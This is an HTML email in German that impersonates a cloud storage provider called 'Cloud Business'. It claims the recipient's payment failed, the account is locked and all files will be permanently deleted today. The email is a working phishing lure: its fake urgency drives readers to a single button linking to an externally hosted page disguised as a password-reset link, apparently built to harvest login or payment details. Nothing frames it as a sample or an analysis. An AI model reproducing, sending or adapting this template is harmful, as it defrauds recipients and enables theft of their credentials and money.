<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Kritischer Hinweis: Datenlöschung bevorstehend</title>
</head>

<body style="margin:0; padding:0; background-color:#f5f5f7; font-family: Arial, Helvetica, sans-serif;">

<!--[if mso]>
<style type="text/css">.outlook-table { border-collapse: collapse; }</style>
<![endif]-->

<!-- WRAPPER TABLE -->
<table width="100%" cellpadding="0" cellspacing="0" border="0" align="center" bgcolor="#f5f5f7" style="background-color:#f5f5f7;">
  <tr>
    <td align="center" style="padding:30px 15px 40px 15px;">

      <!-- MAIN CONTAINER (600px) -->
      <table width="600" cellpadding="0" cellspacing="0" border="0" align="center" bgcolor="#ffffff" style="max-width:600px; width:100%; background-color:#ffffff; border-radius:12px; box-shadow:0 4px 15px rgba(0,0,0,0.05);">

        <!-- HEADER -->
        <tr>
          <td align="center" style="padding:30px 20px 20px 20px; background-color:#ffffff;">
            <span style="font-size:48px;">☁️</span>
            <span style="font-size:32px; font-weight:600; color:#0071e3; margin-left:10px; vertical-align:middle;">CLOUD BUSINESS</span>
          </td>
        </tr>

        <!-- CONTENT BODY -->
        <tr>
          <td align="center" style="padding:20px 40px;">
            <table width="100%" cellpadding="0" cellspacing="0" border="0">

              <!-- TOP ALERT BOX (FLEX-ERSATZ MIT TABELLE) -->
              <tr>
                <td style="padding-bottom:25px;">
                  <table width="100%" cellpadding="0" cellspacing="0" border="0" style="border:1px solid #d1d1d6; border-left:6px solid #d93025; background-color:#ffffff; border-radius:4px;">
                    <tr>
                      <td width="24" style="width:24px; padding:15px 0 15px 15px; vertical-align:top;">
                        <table width="24" height="24" cellpadding="0" cellspacing="0" border="0" style="background-color:#d93025; border-radius:50%;">
                          <tr>
                            <td align="center" style="color:white; font-weight:bold; font-size:16px;">!</td>
                          </tr>
                        </table>
                      </td>
                      <td style="padding:15px 15px 15px 10px; font-size:15px; line-height:1.5; color:#1d1d1f;">
                        <strong>Handlung erforderlich:</strong> Ihre Zahlungsmethode wurde abgelehnt. Bitte aktualisieren Sie umgehend Ihre Rechnungsinformationen, um einen endgültigen Datenverlust zu vermeiden.
                      </td>
                    </tr>
                  </table>
                </td>
              </tr>

              <!-- KLEINER TEXT -->
              <tr>
                <td style="padding-bottom:20px; font-size:15px; color:#555555; text-align:left;">
                  Ihr Speicherkontingent wurde überschritten. Sofortige Handlung ist erforderlich, um Ihre archivierten Geschäftsdateien zu behalten.
                </td>
              </tr>

              <!-- RED BANNER (mit negativem Margin simuliert durch Extra-Tabelle) -->
              <tr>
                <td style="padding:0;">
                  <table width="100%" cellpadding="0" cellspacing="0" border="0">
                    <tr>
                      <td bgcolor="#b00020" style="background-color:#b00020; padding:15px 20px; text-align:center;">
                        <span style="color:#ffffff; font-size:18px; font-weight:700; text-transform:uppercase;">KONTO DEAKTIVIERT: LÖSCHUNG BEVORSTEHEND</span>
                      </td>
                    </tr>
                  </table>
                </td>
              </tr>

              <!-- BLUE INFO BOX -->
              <tr>
                <td style="padding:30px 0 30px 0;">
                  <table width="100%" cellpadding="0" cellspacing="0" border="0" bgcolor="#e8f0fe" style="background-color:#e8f0fe; border:1px solid #d2e3fc; border-radius:8px;">
                    <tr>
                      <td style="padding:20px; font-size:15px; line-height:1.6; color:#1967d2;">
                        <strong>Die automatische Verlängerung ist fehlgeschlagen.</strong><br><br>
                        Ohne aktives Abonnement wurde Ihr sicherer Cloud-Speicherplatz gesperrt. Alle Fotos, Videos und Dokumente auf dem Server werden endgültig gelöscht.
                      </td>
                    </tr>
                  </table>
                </td>
              </tr>

              <!-- DETAILS SECTION -->
              <tr>
                <td style="padding:20px 0; border-top:1px solid #eeeeee; border-bottom:1px solid #eeeeee;">
                  <div style="font-size:16px; font-weight:700; color:#1d1d1f; margin-bottom:15px;">Kontostatus</div>
                  <table width="100%" cellpadding="0" cellspacing="0" border="0">
                    <tr><td style="padding:3px 0; font-size:15px; color:#424245;"><strong>Tarif:</strong> Business 2 TB</td></tr>
                    <tr><td style="padding:3px 0; font-size:15px; color:#424245;"><strong>Zustand:</strong> <span style="color:#d93025; font-weight:bold;">Gesperrt</span></td></tr>
                    <tr><td style="padding:3px 0; font-size:15px; color:#424245;"><strong>Kündigungsdatum:</strong> Heute</td></tr>
                  </table>
                </td>
              </tr>

              <!-- FINAL WARNING -->
              <tr>
                <td style="padding:30px 0 30px 0; font-size:16px; line-height:1.6; color:#1d1d1f;">
                  <strong>LETZTE WARNUNG: DATENLÖSCHUNG AKTIV.</strong><br>
                  Ihr Konto ist derzeit gesperrt.<br>
                  Nach Abschluss der Löschung können Ihre Geschäftsdaten <u>nicht wiederhergestellt werden</u>.
                </td>
              </tr>

              <!-- BUTTON -->
              <tr>
                <td align="center" style="padding:0 0 35px 0;">
                  <table cellpadding="0" cellspacing="0" border="0">
                    <tr>
                      <td align="center" bgcolor="#0071e3" style="background-color:#0071e3; border-radius:8px;">
                        <a href="https://koliman.nyc3.digitaloceanspaces.com/clddestrg.html?mode=resetPassword&oobCode=LNbiOzLUviXp22aSHmfisR8OufAZa5pc4oQcsqLVwFIAAAGcy4F6MQ&apiKey=AIzaSyCghrpmgfVPMoBx7zssxZLkgfLFuc6Ib9U&lang=en&tenantId=juju185-ntbg5" style="color:#ffffff; font-size:16px; font-weight:600; text-decoration:none; display:inline-block; padding:16px 40px;">KONTO REAKTIVIEREN & DATEIEN SICHERN</a>
                      </td>
                    </tr>
                  </table>
                </td>
              </tr>

              <!-- LETZTER HINWEIS -->
              <tr>
                <td align="center" style="font-size:14px; color:#666666; padding-bottom:0;">
                  Dies ist eine automatisierte letzte Erinnerung.
                </td>
              </tr>

            </table>
          </td>
        </tr>

        <!-- FOOTER -->
        <tr>
          <td align="center" bgcolor="#f5f5f7" style="background-color:#f5f5f7; padding:20px; font-size:12px; color:#86868b; line-height:1.5;">
            <p style="margin:0 0 10px 0;">
              Cloud Business GmbH<br>
              Sie erhalten diese E-Mail bezüglich der Kündigung Ihrer Dienste.
            </p>
            <p style="margin:0;">
              <a href="#" style="color:#515154;">Keine Marketing-E-Mails mehr</a>
            </p>
          </td>
        </tr>

      </table><!-- END MAIN CONTAINER -->
    </td>
  </tr>
</table><!-- END WRAPPER -->

</body>
</html>